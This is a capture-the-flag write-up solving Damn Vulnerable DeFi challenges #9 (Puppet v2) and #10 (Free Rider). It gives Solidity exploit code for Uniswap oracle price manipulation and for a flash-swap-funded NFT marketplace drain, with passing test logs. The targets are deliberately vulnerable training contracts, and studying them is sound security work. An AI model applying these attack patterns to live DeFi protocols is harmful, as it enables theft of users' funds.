Damn Vulnerable Defi (Foundry) - #9-10
2023-05-28
Challenge #9 - Puppet v2
The developers of the previous pool seem to have learned the lesson. And released a new version!
Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.
You start with 20 ETH and 10000 DVT tokens in balance. The pool has a million DVT tokens in balance. You know what to do.
Attack
Being familiar with these contracts is recommended but not required 1
The success conditions are simple: The pool must be drained, and the attacker must have at lest the initial balance(that also means getting drained by attacker 🤠).
// Attacker has taken all tokens from the pool
assertEq(dvt.balanceOf(attacker), POOL_INITIAL_TOKEN_BALANCE);
assertEq(dvt.balanceOf(address(puppetV2Pool)), 0);
PuppetV2Pool
is using official libraries from the uniswapv2 library also looks quite similar to the previous challenge. First thing to notice was it’s 3 times as much as ether as the borrowed value needs to be deposited.
function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
uint256 depositFactor = 3;
return _getOracleQuote(tokenAmount).mul(depositFactor) / (1 ether);
}
calculateDepositOfWETHRequired
is determining the token price using the official utility library of Uniswap that seems legit:
function _getOracleQuote(uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) =
UniswapV2Library.getReserves(_uniswapFactory, address(_weth), address(_token));
return UniswapV2Library.quote(amount * (10 ** 18), reservesToken, reservesWETH);
}
But still it does not matter anything since it’s actually the same kind of price calculation as the v1. The math behind UniswapV2 calculating the cost of an asset can be found on the quote()
function of the UniswapV2Library
contract2 :
further reading: https://docs.uniswap.org/contracts/v2/concepts/protocol-overview/how-uniswap-works |
library UniswapV2Library {
...
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
...
amountB = amountA.mul(reserveB) / reserveA;
}
...
}
Just like the Puppet level, this challenge is about the potential of an entity to significantly change the value of a specific asset due to insecure AMMs3. The attacker, possessing a large number of DVT tokens, is in a position to impact the DVT’s price by swapping them for WETH on the DVT/WETH Uniswap exchange. In order to devaluate its price, the attacker has to flood the pool with DVT tokens while reducing the amount of WETH. Starting balances are:
DVT | wETH | |
---|---|---|
Pool | 1M | 0 |
Uniswap | 100 | 10 |
Attacker | 10000 | 20 |
First swap all of attacker’s DVT for WETH for around 9.9 wETH, this will deprecate the DVT against wETH (remember2?):
address[] memory pairDVTtoWETH = new address[](2);
pairDVTtoWETH[0] = address(dvt);
pairDVTtoWETH[1] = address(weth);
uniswapV2Router.swapExactTokensForTokens(dvt.balanceOf(attacker), 0, pairDVTtoWETH, address(attacker), deadline);
Since the price is devaluated, calculate the amount of ETH we need to borrow to drain 1M of DVT from the pool:
uint256 wETHAmountNeeded = puppetV2Pool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
uint256 minWETHTransferNeeded = wETHAmountNeeded - weth.balanceOf(attacker);
Swap ETH for wETH then drain the pool:
weth.deposit{value: minWETHTransferNeeded}();
puppetV2Pool.borrow(POOL_INITIAL_TOKEN_BALANCE);
❯ forge test --match-test testExploit --match-contract PuppetV2
[⠰] Compiling...
[⠃] Compiling 1 files with 0.8.17
[⠒] Solc 0.8.17 finished in 1.46s
Compiler run successful
Running 1 test for test/Levels/puppet-v2/PuppetV2.t.sol:PuppetV2
[PASS] testExploit() (gas: 217758)
Logs:
🧨 Let's see if you can break it... 🧨
🎉 Congratulations, you can go to the next level! 🎉
Test result: ok. 1 passed; 0 failed; finished in 10.20ms
Challenge #10 - Free Rider
A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
The developers behind it have been notified the marketplace is vulnerable. All tokens can be taken. Yet they have absolutely no idea how to do it. So they’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way.
You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more.
If only you could get free ETH, at least for an instant.
Attack
FreeRiderBuyer
is a job interface for the buyer
, attacker
will be rewarded JOB_PAYOUT
if all 6 of the DamnValuableNFT
s are sent to the FreeRiderBuyer
contract. FreeRiderNFTMarketplace
is a minimal NFT marketplace contract.
And the success conditions are:
- Attacker must have earned all ETH from the payout (45Ξ)
- The buyer extracts all NFTs from its associated contract
- Exchange must have lost NFTs and ETH
On FreeRiderNFTMarketplace
a buyer can buy if there’s an offer on asset(s) and if their price is greater than that. Also, only the owner of an NFT can create new offers for it.
function _offerOne(uint256 tokenId, uint256 price) private {
...
require( price > 0, "Price must be greater than zero" );
require( msg.sender == token.ownerOf(tokenId), "Account offering must be the owner" );
require( token.getApproved(tokenId) == address(this) || token.isApprovedForAll(msg.sender, address(this)), "Account offering must have approved transfer" );
...
}
Offer part was legit but what about buying? Attacker can call buyMany
to buy 1 or more tokens, it’ll loop for tokenId
sent by the caller. Payable and a loop, hmm 🤡
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}
And then, with this msg.value
inside the loop, it’s just cherry on top. msg.value
is stable between each step of the loop.
function _buyOne(uint256 tokenId) private {
...
require(msg.value >= priceToPay, "Amount paid is not enough");
...
}
Means an adversary can buy an array of NFTs just by sending the single most expensive offer between them, if the market has enough 💰💰💰 left to cover the cost 🤠.
It’s normal to think that “that’s all that’s the issue here” but take a look at this:
function _buyOne(uint256 tokenId) private {
...
// transfer from seller to buyer
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
...
}
The token transferred from seller to buyer nicely. But the second line transfers the money back to the buyer, because the ownership is transferred after the first line 🤡.
So to cover up, buyer transfers 15 ether to the market, and this loops 6 times:
- seller transfers nft to the buyer
- market transfers 15 ether to the buyer
That’s all looking pretty straightforward, except the fact that attacker is too broke to transfer 15Ξ at the first place. Analyzing the test setUp
also uncovers that there’s an UniV2 DVT/wETH pool. And the challenge description were mentioning that:
If only there was a place where you could get free ETH, at least for an instant.
We all know what that means… 🥁🥁 Flash Loans 🥁🥁 no, it’s Flash Swaps now. Something like FlashLoan+4
To handle the flash swap, trading ERC721 tokens, receiving ether and transferring funds back to the attacker, another contract has to be created
- DVT/wETH Pair’s swap interface has to be called with a data with length greater than 0 to trigger the flash swap. 5
- To get called by the pair contract, the contract must be a
IUniswapV2Callee
implementinguniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data)
5 - To trade ERC721, the contract must be a
IERC721Receiver
implementingfunction onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) external returns(bytes4)
6 These are actually all standard stuff to swap with uniswap or trade nft’s, nothing fancy or complicated.
Adding a wrapper to call the swap
on the uniswap pair.
function flashSwap(uint256 amount) external {
bytes memory data = abi.encode("milady");
uniswapV2Pair.swap(0, amount, address(this), data);
}
The onERC721Received is the standart implementation, nothing added
function onERC721Received(address, address, uint256, bytes memory) external override returns (bytes4) {
return this.onERC721Received.selector;
}
Also a receive()
is needed so the other contracts can send ether to this one.
All the things related to the logic of this solution are implemented inside the uniswapV2Call
, this function will be called by the pair contract due to the data we send with that pair.swap
.
Calculate the %0.3 fee from swap amount, that amount will be paid back:
uint256 fee = (_amount1 * 3) / 997 + 1;
uint256 amountToRepay = _amount1 + fee;
Earning money while buying NFTs 🤠. This will be handled by onERC721Received
and receive()
freeRiderNFTMarketplace.buyMany{value: _amount1}(tokenIds);
Repay the debt with that printed money, then transfer those NFTS to the FreeRiderBuyer to receive funds from the job:
for (uint256 i = 0; i < tokenIds.length; i++) {
DamnValuableNFT(freeRiderNFTMarketplace.token()).safeTransferFrom(address(this), address(freeRiderBuyer), i);
}
All those loot is inside that newly created contract must be transferred back to the attacker, but with some chaos 🔥🔥 7 :
selfdestruct(payable(owner));
❯ make FreeRider -i
forge test --match-test testExploit --match-contract FreeRider
[⠰] Compiling...
No files changed, compilation skipped
Running 1 test for test/Levels/free-rider/FreeRider.t.sol:FreeRider
[PASS] testExploit() (gas: 1005883)
Logs:
🧨 Let's see if you can break it... 🧨
🎉 Congratulations, you can go to the next level! 🎉
Test result: ok. 1 passed; 0 failed; finished in 7.04ms
-
not required also but this one was fun to read https://www.zellic.io/blog/formal-verification-weth ↩︎
-
this is called the constant product formula, popularly applied on AMMs. since the result is a constant, when A goes down, B goes up and vice versa. ↩︎ ↩︎
-
you might ask, so how do they manage to resist price manipulations? https://blog.uniswap.org/uniswap-v3-oracles ↩︎
-
https://docs.tinyman.org/protocol-specification/flash-swap , and also there are differences between v3 worth taking a look https://uniswapv3book.com/docs/milestone_3/flash-loans/ ↩︎
-
this explains all about the flash swap implementation https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/using-flash-swaps ↩︎ ↩︎
-
this is a ready-to-use interface by openzeppelin https://docs.openzeppelin.com/contracts/2.x/api/token/erc721#IERC721Receiver , also the EIP page for 721 is worth reading too https://eips.ethereum.org/EIPS/eip-721#implementations ↩︎
-
selfdestruct might be deprecated before you read this post ↩︎